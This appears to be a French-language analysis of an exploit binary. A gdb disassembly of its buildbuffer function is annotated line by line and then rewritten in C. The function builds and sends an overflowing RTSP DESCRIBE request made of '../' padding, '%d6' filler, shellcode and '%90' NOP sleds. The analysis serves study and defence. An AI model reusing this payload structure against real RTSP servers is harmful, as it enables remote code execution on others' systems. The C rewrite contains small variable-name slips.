Dump of assembler code for function buildbuffer: 0x8048cd5 : push %ebp ; prolog 0x8048cd6 : mov %esp,%ebp ; 0x8048cd8 : sub $0x18,%esp ; 24 octets pour les variables locales 0x8048cdb : sub $0xc,%esp ; réserve 12 octets 0x8048cde : push $0x2710 ; push 10000 0x8048ce3 : call 0x8048854 ; buffer = malloc( 10000 ); 0x8048ce8 : add $0x10,%esp ; modifie le pointeur de pile 0x8048ceb : mov %eax,0xfffffff4(%ebp) ; on stocke l'adresse de buffer à -12 de ebp 0x8048cee : sub $0x4,%esp ; réserve 4 octets 0x8048cf1 : push $0x4 ; push 4 0x8048cf3 : push $0x0 ; push 0 0x8048cf5 : pushl 0xfffffff4(%ebp) ; push l'adresse de buffer 0x8048cf8 : call 0x8048964 ; memset( buffer, 0, sizeof(buffer) ); 0x8048cfd : add $0x10,%esp 0x8048d00 : sub $0x8,%esp ; réserve 8 octets (gdb) x /s 0x8049683 0x8049683 <_IO_stdin_used+319>: "[*] making evil ##\n" 0x8048d03 : push $0x8049683 ; string = "[*] making evil ##\n" (gdb) x 0x804aae4 0x804aae4 : "" 0x8048d08 : pushl 0x804aae4 ; stderr 0x8048d0e : call 0x8048804 ; fprintf( stderr, "[*] making evil ##\n" ); 0x8048d13 : add $0x10,%esp 0x8048d16 : sub $0x8,%esp ; réserve 8 octets (gdb) x /s 0x8049697 0x8049697 <_IO_stdin_used+339>: "DESCRIBE /./" 0x8048d19 : push $0x8049697 ; string = "DESCRIBE /./" 0x8048d1e : pushl 0xfffffff4(%ebp) ; toujours notre fameux buffer 0x8048d21 : call 0x80488b4 ; strcat( buffer, "DESCRIBE /./" ); 0x8048d26 : add $0x10,%esp 0x8048d29 : movl $0x0,0xfffffffc(%ebp) ; push 0 à -4 ebp (i=0) 0x8048d30 : cmpl $0x203,0xfffffffc(%ebp) ; compare -4 ebp à 515 0x8048d37 : jle 0x8048d3b ; jump à 0x8048d3b si c'est inférieur 0x8048d39 : jmp 0x8048d55 ; jump à 0x8048d55 si c'est égal nous avons une boucle classique : for ( i = 0; i <= 515; i++ ) { } 0x8048d3b : sub $0x8,%esp ; réserve 8 octets (gdb) x /s 0x80496a4 0x80496a4 <_IO_stdin_used+352>: "../" 0x8048d3e : push $0x80496a4 ; string "../" 0x8048d43 : pushl 0xfffffff4(%ebp) ; toujours notre fameux buffer 0x8048d46 : call 0x80488b4 ; strcat( buffer, "../" ); 0x8048d4b : add $0x10,%esp 0x8048d4e : lea 0xfffffffc(%ebp),%eax ; on stocke notre compteur dans %eax 0x8048d51 : incl (%eax) ; on incrémente le compteur 0x8048d53 : jmp 0x8048d30 ; on saute au début de la boucle 0x8048d55 : sub $0x8,%esp ; réserve 8 octets x /s 0x80496a8 0x80496a8 <_IO_stdin_used+356>: "%d6%d6%d6%d6%d6" 0x8048d58 : push $0x80496a8 ; string "%d6%d6%d6%d6%d6" 0x8048d5d : pushl 0xfffffff4(%ebp) ; notre buffer 0x8048d60 : call 0x80488b4 ; strcat( buffer, "%d6%d6%d6%d6%d6" ); 0x8048d65 : add $0x10,%esp 0x8048d68 : sub $0x8,%esp ; réserve 8 octets 0x8048d6b : pushl 0x8(%ebp) ; premier argument de buildbuffer() Note: avec gdb, il est possible de connaitre la valeur de cet argument en débuggant le programme. Il s'avère que c'est le shellcode. 0x8048d6e : pushl 0xfffffff4(%ebp) ; notre buffer 0x8048d71 : call 0x80488b4 ; strcat( buffer, shellcode ); 0x8048d76 : add $0x10,%esp 0x8048d79 : movl $0x0,0xfffffffc(%ebp) ; met 0 à -4 ebp (i=0) 0x8048d80 : cmpl $0x1ff,0xfffffffc(%ebp) ; compare -4 ebp à 511 0x8048d87 : jle 0x8048d8b ; jump à 0x8048d8b si c'est inférieur 0x8048d89 : jmp 0x8048da5 ; jump à 0x8048da5 si c'est égal on se retrouve clairement à nouveau en présence d'une boucle: for ( i = 0; i <= 511; i++ ) { } 0x8048d8b : sub $0x8,%esp ; réserve 8 octets (gdb) x /s 0x80496b8 0x80496b8 <_IO_stdin_used+372>: "%90" 0x8048d8e : push $0x80496b8 ; string "%90" 0x8048d93 : pushl 0xfffffff4(%ebp) ; 0x8048d96 : call 0x80488b4 ; strcat( buffer, "%90" ); 0x8048d9b : add $0x10,%esp 0x8048d9e : lea 0xfffffffc(%ebp),%eax ; on stocke notre compteur dans %eax 0x8048da1 : incl (%eax) ; on incrémente le compteur 0x8048da3 : jmp 0x8048d80 ; on saute au début de la boucle 0x8048da5 : sub $0x8,%esp ; réserve 8 octets (gdb) x /s 0x80496bc 0x80496bc <_IO_stdin_used+376>: " RTSP/1.0" 0x8048da8 : push $0x80496bc ; string " RTSP/1.0" 0x8048dad : pushl 0xfffffff4(%ebp) ; notre buffer 0x8048db0 : call 0x80488b4 ; strcat( buffer, " RTSP/1.0" ); 0x8048db5 : add $0x10,%esp 0x8048db8 : sub $0x8,%esp ; réserve 8 octets (gdb) x /s 0x80496c6 0x80496c6 <_IO_stdin_used+386>: "\r\n\r\n" 0x8048dbb : push $0x80496c6 ; string "\r\n\r\n" 0x8048dc0 : lea 0xfffffff8(%ebp),%eax ; charge ce qui est à -8 octets de ebp dans %eax 0x8048dc3 : push %eax ; push cette variable (qui s'avère être un buffer) 0x8048dc4 : call 0x8048994 ; sprintf( buffer2, "\r\n\r\n" ); 0x8048dc9 : add $0x10,%esp 0x8048dcc : sub $0x4,%esp ; réserve 4 octets 0x8048dcf : push $0x4 ; push 4 0x8048dd1 : lea 0xfffffff8(%ebp),%eax ; charge l'adresse de variable2 dans %eax 0x8048dd4 : push %eax ; push %eax 0x8048dd5 : pushl 0xfffffff4(%ebp) ; notre buffer 0x8048dd8 : call 0x80487b4 ; strncat( buffer, buffer2, 4 ) 0x8048ddd : add $0x10,%esp 0x8048de0 : sub $0x8,%esp ; réserve 8 octets (gdb) x /s 0x80496cb 0x80496cb <_IO_stdin_used+391>: "[*] sending ##\n" 0x8048de3 : push $0x80496cb ; string "[*] sending ##\n" 0x8048de8 : pushl 0x804aae4 ; stderr 0x8048dee : call 0x8048804 ; fprintf( stderr, "[*] sending ##\n"); 0x8048df3 : add $0x10,%esp 0x8048df6 : sub $0x4,%esp ; réserve 4 octets 0x8048df9 : sub $0x8,%esp ; réserve 8 octets 0x8048dfc : pushl 0xfffffff4(%ebp) ; notre buffer 0x8048dff : call 0x8048874 ; strlen( buffer ) 0x8048e04 : add $0xc,%esp 0x8048e07 : push %eax ; longeur du buffer 0x8048e08 : pushl 0xfffffff4(%ebp) ; notre buffer 0x8048e0b : pushl 0xc(%ebp) ; la socket (du fait du nom de la fonction ci-dessous) 0x8048e0e : call 0x8048a94 ; write_sock( sock, buffer, strlen(buffer) ); 0x8048e13 : add $0x10,%esp 0x8048e16 : test %eax,%eax ; retour de la fonction write_sock < 0 ? 0x8048e18 : jg 0x8048e30 0x8048e1a : sub $0x8,%esp (gdb) x /s 0x80496db 0x80496db <_IO_stdin_used+407>: "write error\n" 0x8048e1d : push $0x80496db ; string "write error\n" 0x8048e22 : pushl 0x804aae4 ; stderr 0x8048e28 : call 0x8048804 ; fprintf( stderr, "write error\n" ); 0x8048e2d : add $0x10,%esp 0x8048e30 : sub $0x4,%esp ; réserve 4 octets 0x8048e33 : push $0x2 ; push 2 (gdb) x /s 0x80496e8 0x80496e8 <_IO_stdin_used+420>: "\n\n" 0x8048e35 : push $0x80496e8 ; string "\n\n" 0x8048e3a : pushl 0xc(%ebp) ; la socket 0x8048e3d : call 0x8048a94 ; write_sock( sock, "\n\n", 2 ); 0x8048e42 : add $0x10,%esp 0x8048e45 : sub $0xc,%esp ; réserve 12 octets 0x8048e48 : push $0x1 ; push 1 0x8048e4a : call 0x8048884 ; sleep( 1 ); 0x8048e4f : add $0x10,%esp 0x8048e52 : sub $0xc,%esp ; réserve 12 octets 0x8048e55 : pushl 0xfffffff4(%ebp) ; notre buffer 0x8048e58 : call 0x8048944 ; free( buffer ); 0x8048e5d : add $0x10,%esp 0x8048e60 : leave ; epilog 0x8048e61 : ret ; End of assembler dump. Grâce à l'analyse du code désassemblé, il est possible de réécrire la fonction buildbuffer() en C : void buildbuffer( char * shellcode_utf, int sock ) { char * buffer1; char * buffer2; int i; buffer1 = malloc( 10000 ); memset( buffer1, 0, 4 ); fprintf( stderr, "[*] making evil ##\n" ); strcat( buffer1, "DESCRIBE /./" ); for ( i = 0; i <= 515; i++ ) { strcat( buffer, "../" ); } strcat( buffer1, "%d6%d6%d6%d6%d6" ); strcat( buffer1, shellcode_utf ); for ( i = 0; i <= 511; i++ ) { strcat( buffer1, "%90" ); } strcat( buffer1, " RTSP/1.0" ); sprintf( buffer2, "\r\n\r\n"); strncat( buffer1, buffer2, 4); fprintf( stderr, "[*] sending ##\n"); if ( (write_sock(sock, buffer, strlen(buffer))) < 0 ) { fprintf( stderr, "write error\n" ); } write_sock( sock, "\n\n", 2 ); sleep( 1 ); free( buffer1 ); }